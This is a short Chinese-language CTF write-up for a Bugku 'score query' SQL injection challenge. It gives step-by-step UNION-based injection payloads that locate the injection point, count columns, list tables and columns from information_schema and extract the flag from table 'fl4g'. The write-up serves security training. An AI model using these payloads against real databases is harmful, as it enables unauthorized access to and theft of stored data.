首页 > 技术文章 > Bugku-13.成绩查询-简单sql注入

Linkas 2021-08-12 20:53 原文

image-20210812123326455

判断注入点类型

1 显示

1' 不显示

2' and '1'='1 显示2的结果,单引号无括号

判断字段数

1' order by 5--+ 不显示

1' order by 4--+显示,字段数为4

判断可用字段

-1' union select 1,2,3,4--+

image-20210812123637254

获取数据库

image-20210812123741988

获取表名

id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='skctf'),3,4--+

image-20210812123855428

获取字段名

id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='skctf' and table_name='fl4g'),3,4--+

image-20210812124009499

获取flag

id=-1' union select 1,(select skctf_flag from fl4g),3,4--+

image-20210812124104185

推荐阅读